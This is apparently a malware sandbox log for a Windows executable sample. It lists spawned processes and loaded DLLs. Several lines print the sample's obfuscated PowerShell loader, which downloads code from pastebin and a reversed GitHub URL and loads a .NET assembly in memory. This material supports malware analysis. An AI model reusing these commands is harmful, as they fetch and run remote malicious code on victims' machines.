Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedCommand JABmACAAPQAgACgAWwBTAHkAcwB0AGUAbQAuAEkATwAuAFAAYQB0AGgAXQA6ADoARwBlAHQAVABlAG0AcABQAGEAdABoACgAKQAgACsAIAAnAGQAbABsADAAMQAuAHQAeAB0ACcAKQAgADsAJABRAFAAdABhAHYAIAA9ACAAKAAgAEcAZQB0AC0AQwBvAG4AdABlAG4AdAAgAC0AUABhAHQAaAAgACQAZgAgACkAIAA7AEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQBSAEkAIAAkAFEAUAB0AGEAdgAgAC0ATwB1AHQARgBpAGwAZQAgACQAZgAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcA -inputFormat xml -outputFormat text
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedCommand JABmACAAPQAgACgAWwBTAHkAcwB0AGUAbQAuAEkATwAuAFAAYQB0AGgAXQA6ADoARwBlAHQAVABlAG0AcABQAGEAdABoACgAKQAgACsAIAAnAGQAbABsADAAMQAuAHQAeAB0ACcAKQAgADsAJABRAFAAdABhAHYAIAA9ACAAKAAgAEcAZQB0AC0AQwBvAG4AdABlAG4AdAAgAC0AUABhAHQAaAAgACQAZgAgACkAIAA7AEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQBSAEkAIAAkAFEAUAB0AGEAdgAgAC0ATwB1AHQARgBpAGwAZQAgACQAZgAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcA -inputFormat xml -outputFormat text
Source: C:\Users\user\Desktop\17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\jglbwx.vbs"	Jump to behavior
Source: C:\Users\user\Desktop\17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\mknrez.vbs"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $IuJUJJZz = 'WwBT?Hk?cwB0?GU?bQ?u?E4?ZQB0?C4?UwBl?HI?dgBp?GM?ZQBQ?G8?aQBu?HQ?TQBh?G4?YQBn?GU?cgBd?Do?OgBT?GU?YwB1?HI?aQB0?Hk?U?By?G8?d?Bv?GM?bwBs?C??PQ?g?Fs?UwB5?HM?d?Bl?G0?LgBO?GU?d??u?FM?ZQBj?HU?cgBp?HQ?eQBQ?HI?bwB0?G8?YwBv?Gw?V?B5?H??ZQBd?Do?OgBU?Gw?cw?x?DI?Ow?k?EM?QwBS?Gg?bQ?g?D0?I??n?Gg?d?B0?H??cw?6?C8?LwBw?GE?cwB0?GU?YgBp?G4?LgBj?G8?bQ?v?HI?YQB3?C8?QQBk?HY?OQBn?EI?S?Bh?Cc?I??7?CQ?Zg?g?D0?I??o?Fs?UwB5?HM?d?Bl?G0?LgBJ?E8?LgBQ?GE?d?Bo?F0?Og?6?Ec?ZQB0?FQ?ZQBt?H??U?Bh?HQ?a??o?Ck?I??r?C??JwBk?Gw?b??w?DE?LgB0?Hg?d??n?Ck?I??7?Ek?bgB2?G8?awBl?C0?VwBl?GI?UgBl?HE?dQBl?HM?d??g?C0?VQBS?Ek?I??k?EM?QwBS?Gg?bQ?g?C0?TwB1?HQ?RgBp?Gw?ZQ?g?CQ?Zg?g?C0?VQBz?GU?QgBh?HM?aQBj?F??YQBy?HM?aQBu?Gc?I??7?GM?bQBk?C4?ZQB4?GU?I??v?GM?I??7?H??aQBu?Gc?I??x?DI?Nw?u?D??Lg?w?C4?MQ?g?Ds?c?Bv?Hc?ZQBy?HM?a?Bl?Gw?b??u?GU?e?Bl?C??LQBj?G8?bQBt?GE?bgBk?C??ew?k?GY?I??9?C??K?Bb?FM?eQBz?HQ?ZQBt?C4?SQBP?C4?U?Bh?HQ?a?Bd?Do?OgBH?GU?d?BU?GU?bQBw?F??YQB0?Gg?K??p?C??Kw?g?Cc?Z?Bs?Gw?M??x?C4?d?B4?HQ?Jw?p?C??Ow?k?FE?U?B0?GE?dg?g?D0?I??o?C??RwBl?HQ?LQBD?G8?bgB0?GU?bgB0?C??LQBQ?GE?d?Bo?C??J?Bm?C??KQ?g?Ds?SQBu?HY?bwBr?GU?LQBX?GU?YgBS?GU?cQB1?GU?cwB0?C??LQBV?FI?SQ?g?CQ?UQBQ?HQ?YQB2?C??LQBP?HU?d?BG?Gk?b?Bl?C??J?Bm?C??LQBV?HM?ZQBC?GE?cwBp?GM?U?Bh?HI?cwBp?G4?ZwB9?C??Ow?k?FE?U?B0?GE?dg?g?D0?I??o?C??RwBl?HQ?LQBD?G8?bgB0?GU?bgB0?C??LQBQ?GE?d?Bo?C??J?Bm?C??KQ?g?Ds?J?Bq?Hc?bgBn?GM?I??9?C??Jw?w?DE?Jw?g?Ds?J?Bl?GE?YQBp?Hc?I??9?C??Jw?l?Eo?awBR?GE?cwBE?GY?ZwBy?FQ?Zw?l?Cc?I??7?Fs?QgB5?HQ?ZQBb?F0?XQ?g?CQ?Z?Bj?Gg?cwBp?C??PQ?g?Fs?cwB5?HM?d?Bl?G0?LgBD?G8?bgB2?GU?cgB0?F0?Og?6?EY?cgBv?G0?QgBh?HM?ZQ?2?DQ?UwB0?HI?aQBu?Gc?K??g?CQ?UQBQ?HQ?YQB2?C4?cgBl?H??b?Bh?GM?ZQ?o?Cc?J??k?CQ?J??k?Cc?L??n?EE?Jw?p?C??KQ?g?Ds?WwBT?Hk?cwB0?GU?bQ?u?EE?c?Bw?EQ?bwBt?GE?aQBu?F0?Og?6?EM?dQBy?HI?ZQBu?HQ?R?Bv?G0?YQBp?G4?LgBM?G8?YQBk?Cg?J?Bk?GM?a?Bz?Gk?KQ?u?Ec?ZQB0?FQ?eQBw?GU?K??n?FQ?ZQBo?HU?b?Bj?Gg?ZQBz?Fg?e?BY?Hg?e??u?EM?b?Bh?HM?cw?x?Cc?KQ?u?Ec?ZQB0?E0?ZQB0?Gg?bwBk?Cg?JwBN?HM?cQBC?Ek?YgBZ?Cc?KQ?u?Ek?bgB2?G8?awBl?Cg?J?Bu?HU?b?Bs?Cw?I?Bb?G8?YgBq?GU?YwB0?Fs?XQBd?C??K??n?DQ?Mg?x?DE?VgBP?E4?LwBu?Gk?YQBt?C8?cwBk?GE?ZQBo?C8?cwBm?GU?cg?v?GU?cgBp?GY?LwBh?Gw?b?Bp?HU?cQBu?GE?cgBy?GE?Yg?0?DI?M??y?G4?bwBp?H??bQBh?Gg?Yw?v?G0?bwBj?C4?d?Bu?GU?d?Bu?G8?YwBy?GU?cwB1?GI?dQBo?HQ?aQBn?C4?dwBh?HI?Lw?v?Do?cwBw?HQ?d?Bo?Cc?I??s?C??J?Bl?GE?YQBp?Hc?I??s?C??JwBp?Gc?ZgB4?EU?TQ?n?Cw?I??k?Go?dwBu?Gc?Yw?s?C??Jw?x?Cc?L??g?Cc?UgBv?GQ?YQ?n?C??KQ?p?Ds?';$Yolopolhggobek = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $IuJUJJZz.replace('?','A') ) );$Yolopolhggobek = $Yolopolhggobek.replace('%JkQasDfgrTg%', 'C:\Users\user\AppData\Local\Temp\jglbwx.vbs');powershell $Yolopolhggobek;	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $IuJUJJZz = 'WwBT?Hk?cwB0?GU?bQ?u?E4?ZQB0?C4?UwBl?HI?dgBp?GM?ZQBQ?G8?aQBu?HQ?TQBh?G4?YQBn?GU?cgBd?Do?OgBT?GU?YwB1?HI?aQB0?Hk?U?By?G8?d?Bv?GM?bwBs?C??PQ?g?Fs?UwB5?HM?d?Bl?G0?LgBO?GU?d??u?FM?ZQBj?HU?cgBp?HQ?eQBQ?HI?bwB0?G8?YwBv?Gw?V?B5?H??ZQBd?Do?OgBU?Gw?cw?x?DI?Ow?k?EM?QwBS?Gg?bQ?g?D0?I??n?Gg?d?B0?H??cw?6?C8?LwBw?GE?cwB0?GU?YgBp?G4?LgBj?G8?bQ?v?HI?YQB3?C8?QQBk?HY?OQBn?EI?S?Bh?Cc?I??7?CQ?Zg?g?D0?I??o?Fs?UwB5?HM?d?Bl?G0?LgBJ?E8?LgBQ?GE?d?Bo?F0?Og?6?Ec?ZQB0?FQ?ZQBt?H??U?Bh?HQ?a??o?Ck?I??r?C??JwBk?Gw?b??w?DE?LgB0?Hg?d??n?Ck?I??7?Ek?bgB2?G8?awBl?C0?VwBl?GI?UgBl?HE?dQBl?HM?d??g?C0?VQBS?Ek?I??k?EM?QwBS?Gg?bQ?g?C0?TwB1?HQ?RgBp?Gw?ZQ?g?CQ?Zg?g?C0?VQBz?GU?QgBh?HM?aQBj?F??YQBy?HM?aQBu?Gc?I??7?GM?bQBk?C4?ZQB4?GU?I??v?GM?I??7?H??aQBu?Gc?I??x?DI?Nw?u?D??Lg?w?C4?MQ?g?Ds?c?Bv?Hc?ZQBy?HM?a?Bl?Gw?b??u?GU?e?Bl?C??LQBj?G8?bQBt?GE?bgBk?C??ew?k?GY?I??9?C??K?Bb?FM?eQBz?HQ?ZQBt?C4?SQBP?C4?U?Bh?HQ?a?Bd?Do?OgBH?GU?d?BU?GU?bQBw?F??YQB0?Gg?K??p?C??Kw?g?Cc?Z?Bs?Gw?M??x?C4?d?B4?HQ?Jw?p?C??Ow?k?FE?U?B0?GE?dg?g?D0?I??o?C??RwBl?HQ?LQBD?G8?bgB0?GU?bgB0?C??LQBQ?GE?d?Bo?C??J?Bm?C??KQ?g?Ds?SQBu?HY?bwBr?GU?LQBX?GU?YgBS?GU?cQB1?GU?cwB0?C??LQBV?FI?SQ?g?CQ?UQBQ?HQ?YQB2?C??LQBP?HU?d?BG?Gk?b?Bl?C??J?Bm?C??LQBV?HM?ZQBC?GE?cwBp?GM?U?Bh?HI?cwBp?G4?ZwB9?C??Ow?k?FE?U?B0?GE?dg?g?D0?I??o?C??RwBl?HQ?LQBD?G8?bgB0?GU?bgB0?C??LQBQ?GE?d?Bo?C??J?Bm?C??KQ?g?Ds?J?Bt?Gk?e?Bm?HU?I??9?C??Jw?w?DE?Jw?g?Ds?J?Bi?Gg?c?Bn?GU?I??9?C??Jw?l?Eo?awBR?GE?cwBE?GY?ZwBy?FQ?Zw?l?Cc?I??7?Fs?QgB5?HQ?ZQBb?F0?XQ?g?CQ?bgB1?Gc?awBr?C??PQ?g?Fs?cwB5?HM?d?Bl?G0?LgBD?G8?bgB2?GU?cgB0?F0?Og?6?EY?cgBv?G0?QgBh?HM?ZQ?2?DQ?UwB0?HI?aQBu?Gc?K??g?CQ?UQBQ?HQ?YQB2?C4?cgBl?H??b?Bh?GM?ZQ?o?Cc?J??k?CQ?J??k?Cc?L??n?EE?Jw?p?C??KQ?g?Ds?WwBT?Hk?cwB0?GU?bQ?u?EE?c?Bw?EQ?bwBt?GE?aQBu?F0?Og?6?EM?dQBy?HI?ZQBu?HQ?R?Bv?G0?YQBp?G4?LgBM?G8?YQBk?Cg?J?Bu?HU?ZwBr?Gs?KQ?u?Ec?ZQB0?FQ?eQBw?GU?K??n?FQ?ZQBo?HU?b?Bj?Gg?ZQBz?Fg?e?BY?Hg?e??u?EM?b?Bh?HM?cw?x?Cc?KQ?u?Ec?ZQB0?E0?ZQB0?Gg?bwBk?Cg?JwBN?HM?cQBC?Ek?YgBZ?Cc?KQ?u?Ek?bgB2?G8?awBl?Cg?J?Bu?HU?b?Bs?Cw?I?Bb?G8?YgBq?GU?YwB0?Fs?XQBd?C??K??n?DQ?MgBv?GM?cwBh?C8?bgBp?GE?bQ?v?HM?Z?Bh?GU?a??v?HM?ZgBl?HI?LwBl?HI?aQBm?C8?YQBs?Gw?aQB1?HE?bgBh?HI?cgBh?GI?N??y?D??MgBu?G8?aQBw?G0?YQBo?GM?LwBt?G8?Yw?u?HQ?bgBl?HQ?bgBv?GM?cgBl?HM?dQBi?HU?a?B0?Gk?Zw?u?Hc?YQBy?C8?Lw?6?HM?c?B0?HQ?a??n?C??L??g?CQ?YgBo?H??ZwBl?C??L??g?Cc?aQBn?GY?e?BF?E0?Ng?0?Cc?L??g?CQ?bQBp?Hg?ZgB1?Cw?I??n?DE?Jw?s?C??JwBS?G8?Z?Bh?Cc?I??p?Ck?Ow?=';$Yolopolhggobek = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $IuJUJJZz.replace('?','A') ) );$Yolopolhggobek = $Yolopolhggobek.replace('%JkQasDfgrTg%', 'C:\Users\user\AppData\Local\Temp\mknrez.vbs');powershell $Yolopolhggobek;	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$CCRhm = 'https://pastebin.com/raw/Adv9gBHa' ;$f = ([System.IO.Path]::GetTempPath() + 'dll01.txt') ;Invoke-WebRequest -URI $CCRhm -OutFile $f -UseBasicParsing ;cmd.exe /c ;ping 127.0.0.1 ;powershell.exe -command {$f = ([System.IO.Path]::GetTempPath() + 'dll01.txt') ;$QPtav = ( Get-Content -Path $f ) ;Invoke-WebRequest -URI $QPtav -OutFile $f -UseBasicParsing} ;$QPtav = ( Get-Content -Path $f ) ;$mixfu = '01' ;$bhpge = 'C:\Users\user\AppData\Local\Temp\mknrez.vbs' ;[Byte[]] $nugkk = [system.Convert]::FromBase64String( $QPtav.replace('$$$$$','A') ) ;[System.AppDomain]::CurrentDomain.Load($nugkk).GetType('TehulchesXxXxx.Class1').GetMethod('MsqBIbY').Invoke($null, [object[]] ('42ocsa/niam/sdaeh/sfer/erif/alliuqnarrab4202noipmahc/moc.tnetnocresubuhtig.war//:sptth' , $bhpge , 'igfxEM64', $mixfu, '1', 'Roda' ));"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$CCRhm = 'https://pastebin.com/raw/Adv9gBHa' ;$f = ([System.IO.Path]::GetTempPath() + 'dll01.txt') ;Invoke-WebRequest -URI $CCRhm -OutFile $f -UseBasicParsing ;cmd.exe /c ;ping 127.0.0.1 ;powershell.exe -command {$f = ([System.IO.Path]::GetTempPath() + 'dll01.txt') ;$QPtav = ( Get-Content -Path $f ) ;Invoke-WebRequest -URI $QPtav -OutFile $f -UseBasicParsing} ;$QPtav = ( Get-Content -Path $f ) ;$jwngc = '01' ;$eaaiw = 'C:\Users\user\AppData\Local\Temp\jglbwx.vbs' ;[Byte[]] $dchsi = [system.Convert]::FromBase64String( $QPtav.replace('$$$$$','A') ) ;[System.AppDomain]::CurrentDomain.Load($dchsi).GetType('TehulchesXxXxx.Class1').GetMethod('MsqBIbY').Invoke($null, [object[]] ('4211VON/niam/sdaeh/sfer/erif/alliuqnarrab4202noipmahc/moc.tnetnocresubuhtig.war//:sptth' , $eaaiw , 'igfxEM', $jwngc, '1', 'Roda' ));"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 127.0.0.1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedCommand JABmACAAPQAgACgAWwBTAHkAcwB0AGUAbQAuAEkATwAuAFAAYQB0AGgAXQA6ADoARwBlAHQAVABlAG0AcABQAGEAdABoACgAKQAgACsAIAAnAGQAbABsADAAMQAuAHQAeAB0ACcAKQAgADsAJABRAFAAdABhAHYAIAA9ACAAKAAgAEcAZQB0AC0AQwBvAG4AdABlAG4AdAAgAC0AUABhAHQAaAAgACQAZgAgACkAIAA7AEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQBSAEkAIAAkAFEAUAB0AGEAdgAgAC0ATwB1AHQARgBpAGwAZQAgACQAZgAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcA -inputFormat xml -outputFormat text	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 127.0.0.1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedCommand JABmACAAPQAgACgAWwBTAHkAcwB0AGUAbQAuAEkATwAuAFAAYQB0AGgAXQA6ADoARwBlAHQAVABlAG0AcABQAGEAdABoACgAKQAgACsAIAAnAGQAbABsADAAMQAuAHQAeAB0ACcAKQAgADsAJABRAFAAdABhAHYAIAA9ACAAKAAgAEcAZQB0AC0AQwBvAG4AdABlAG4AdAAgAC0AUABhAHQAaAAgACQAZgAgACkAIAA7AEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQBSAEkAIAAkAFEAUAB0AGEAdgAgAC0ATwB1AHQARgBpAGwAZQAgACQAZgAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcA -inputFormat xml -outputFormat text	Jump to behavior

Source: C:\Users\user\Desktop\17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe	Section loaded: avicap32.dll	Jump to behavior
Source: C:\Users\user\Desktop\17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe	Section loaded: msvfw32.dll	Jump to behavior
Source: C:\Users\user\Desktop\17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Users\user\Desktop\17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Users\user\Desktop\17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
